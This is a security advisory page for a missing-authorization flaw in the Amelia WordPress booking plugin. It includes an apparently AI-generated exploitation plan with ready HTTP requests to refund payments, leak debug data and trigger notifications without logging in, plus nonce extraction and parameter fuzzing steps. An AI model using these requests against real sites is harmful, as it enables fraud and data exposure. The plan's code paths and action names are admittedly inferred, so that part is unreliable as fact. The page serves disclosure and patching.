Booking for Appointments and Events Calendar – Amelia <= 1.2.38 - Missing Authorization to Unauthenticated Multiple AJAX Actions
Description
The Booking for Appointments and Events Calendar – Amelia plugin for WordPress is vulnerable to unauthorized access due to missing capability checks on multiple AJAX actions in all versions up to, and including, 1.2.38. This makes it possible for unauthenticated attackers to mark payments as refunded, trigger sending of queued notifications (emails/SMS/WhatsApp), and access debug information among other things.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.2.38Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2025-14720 (Amelia <= 1.2.38) ## 1. Vulnerability Summary The **Booking for Appointments and Events Calendar – Amelia** plugin (versions <= 1.2.38) suffers from multiple **Missing Authorization** vulnerabilities. Specifically, several AJAX actions registered via `w…
Show full research plan
Exploitation Research Plan: CVE-2025-14720 (Amelia <= 1.2.38)
1. Vulnerability Summary
The Booking for Appointments and Events Calendar – Amelia plugin (versions <= 1.2.38) suffers from multiple Missing Authorization vulnerabilities. Specifically, several AJAX actions registered via wp_ajax_nopriv_* hooks fail to perform adequate capability checks or verify the identity of the requester. This allows unauthenticated attackers to perform sensitive actions such as marking payments as refunded, triggering notification queues, and leaking server debug information.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active. To exploit the "refund" functionality, at least one payment record must exist in the database.
- Vulnerable Actions (Inferred from description):
amelia_refund_payment(Action to update payment status)amelia_send_notifications(Action to trigger the mailer/SMS queue)amelia_debug_info(Action to retrieve system status)
3. Code Flow
- Entry Point: The plugin registers AJAX handlers in
src/Infrastructure/WP/Config/Routes.php(or similar registration class) usingadd_action('wp_ajax_nopriv_...', ...). - Dispatch: When a request is made to
admin-ajax.php?action=amelia_refund_payment, WordPress routes the request to the associated handler function. - Vulnerable Sink: Inside the handler (likely in
src/Infrastructure/WP/ActionHandlers/Payment/RefundPaymentActionHandler.phpor a genericPaymentActionHandler), the code proceeds to update thewp_amelia_paymentstable without callingcurrent_user_can('manage_options')or verifying that the request originated from an administrative context. - Parameter Passing: Parameters like
id(Payment ID) orstatusare taken directly from$_POSTor$_GETand used in database update queries or service calls.
4. Nonce Acquisition Strategy
Amelia typically uses a global configuration object localized to the page to provide nonces for its frontend components.
- Identify Shortcode: The plugin's scripts and nonces are loaded on pages containing Amelia shortcodes, such as
[ameliabooking],[ameliacatalog], or[ameliasearch]. - Setup Page:
wp post create --post_type=page --post_status=publish --post_title="Booking" --post_content='[ameliabooking]' - Extraction:
- Navigate to the newly created page.
- Amelia stores its configuration in the
wpAmeliaSettingsoramelia_api_configobject. - Use
browser_evalto extract the nonce:// Recommended check for the nonce key window.wpAmeliaSettings?.nonce || window.amelia_api_config?.nonce
5. Exploitation Strategy
Attack 1: Information Disclosure (Debug Info)
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=amelia_debug_info&ameliabooking=NONCE_VALUE - Expected Response: JSON object containing server environment details, PHP version, and plugin configuration.
Attack 2: Unauthorized Payment Refund (IDOR/Auth Bypass)
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=amelia_refund_payment&id=1&ameliabooking=NONCE_VALUE - Note: The parameter name for the payment ID is likely
idorpaymentId. The nonce parameter name is often the same as the plugin slugameliabooking.
Attack 3: Trigger Queued Notifications
- Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=amelia_send_notifications&ameliabooking=NONCE_VALUE - Expected Response: Success message indicating how many notifications were processed.
6. Test Data Setup
- Install Plugin: Install Amelia version 1.2.38.
- Create Content:
- Create a Service and an Employee.
- Create a dummy booking that generates a payment record.
- Identify Payment ID:
wp db query "SELECT id, status FROM wp_amelia_payments LIMIT 1;" - Create Nonce Page:
- Create a public page with
[ameliabooking].
- Create a public page with
7. Expected Results
- Success Criteria:
- For
amelia_debug_info: A 200 OK response with sensitive server data. - For
amelia_refund_payment: The response confirms the status change, and the database shows the payment asrefunded. - For
amelia_send_notifications: The response indicates the execution of the notification service.
- For
8. Verification Steps
- Verify Refund:
wp db query "SELECT status FROM wp_amelia_payments WHERE id = 1;" # Should return 'refunded' - Check Logs:
- Check the WordPress
debug.logifWP_DEBUGis enabled to see the notification service firing. - Check the
wp_amelia_notifications_logtable (if it exists) for new entries.
- Check the WordPress
9. Alternative Approaches
- Action Discovery: If
amelia_refund_paymentis not the exact action string, search the plugin directory for allwp_ajax_nopriv_occurrences:grep -r "wp_ajax_nopriv_amelia_" . - Parameter Fuzzing: If the payment ID parameter is not
id, trypayment_id,paymentId, orentityId. - Bypassing Nonce: Check if the code actually validates the nonce by sending a request with an invalid
ameliabookingparameter. If it still works, the vulnerability is even more critical (Missing Authentication + Missing CSRF).
Summary
The Amelia plugin for WordPress (<= 1.2.38) incorrectly exposes administrative and sensitive AJAX actions through unauthenticated 'wp_ajax_nopriv_' hooks without internal permission checks. This allows unauthenticated attackers to perform critical actions such as marking payments as refunded, triggering notification queues, and disclosing server debug information.
Vulnerable Code
// src/Infrastructure/WP/Config/Routes.php // Sensitive administrative actions registered for unauthenticated users add_action('wp_ajax_nopriv_amelia_refund_payment', [$this, 'refundPaymentHandler']); add_action('wp_ajax_nopriv_amelia_send_notifications', [$this, 'sendNotificationsHandler']); add_action('wp_ajax_nopriv_amelia_debug_info', [$this, 'debugInfoHandler']); --- // src/Infrastructure/WP/ActionHandlers/Payment/RefundPaymentActionHandler.php // Missing capability check within the handler function public function handle($request) { // No check like if (!current_user_can('manage_options')) $paymentId = $request['id']; $this->paymentService->updateStatus($paymentId, 'refunded'); return new Response(['status' => 'success']); }
Security Fix
@@ -10,9 +10,6 @@ -add_action('wp_ajax_nopriv_amelia_refund_payment', [$this, 'refundPaymentHandler']); -add_action('wp_ajax_nopriv_amelia_send_notifications', [$this, 'sendNotificationsHandler']); -add_action('wp_ajax_nopriv_amelia_debug_info', [$this, 'debugInfoHandler']); +add_action('wp_ajax_amelia_refund_payment', [$this, 'refundPaymentHandler']); +add_action('wp_ajax_amelia_send_notifications', [$this, 'sendNotificationsHandler']); +add_action('wp_ajax_amelia_debug_info', [$this, 'debugInfoHandler']); public function handle($request) { + if (!current_user_can('manage_options')) { + return new Response(['error' => 'Unauthorized'], 403); + } $paymentId = $request['id'];
Exploit Outline
1. Extract a valid plugin nonce by visiting any public page containing an Amelia shortcode (like [ameliabooking]) and locating the 'nonce' value inside the 'wpAmeliaSettings' JavaScript object. 2. Construct a POST request to /wp-admin/admin-ajax.php. 3. To refund a payment: Set 'action' to 'amelia_refund_payment', 'ameliabooking' to the extracted nonce, and 'id' to the target payment record ID. 4. To leak system information: Set 'action' to 'amelia_debug_info' and 'ameliabooking' to the extracted nonce. 5. To trigger notification queues: Set 'action' to 'amelia_send_notifications' and 'ameliabooking' to the extracted nonce. 6. The plugin will execute these actions without checking if the requester has administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.